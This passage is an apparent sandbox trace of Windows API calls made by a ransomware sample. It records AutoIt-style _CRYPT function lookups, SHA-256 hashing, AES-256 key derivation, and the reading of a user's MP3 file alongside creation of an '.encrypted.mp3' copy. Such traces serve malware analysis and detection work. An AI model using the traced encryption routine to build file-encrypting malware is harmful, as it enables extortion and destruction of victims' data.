dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.928] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.928] CloseHandle (hObject=0x188) returned 1 [0026.928] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.928] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.928] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.928] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.928] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.928] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.929] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.929] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.929] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.929] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.929] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.930] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.930] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.930] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.930] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.931] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.931] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.931] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.931] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.931] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.931] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.931] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.931] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.932] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.932] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b810, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.932] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.932] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.932] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.932] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.932] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.932] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.932] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0026.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.934] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\qz9eopb-.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.934] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.934] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.935] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.935] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\qz9eopb-.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.937] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.937] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x9f78, lpOverlapped=0x0) returned 1 [0026.937] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.940] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.940] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.940] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.940] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.940] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.941] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.941] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.941] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.941] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.941] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.942] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.942] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064aa0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064aa0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.942] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 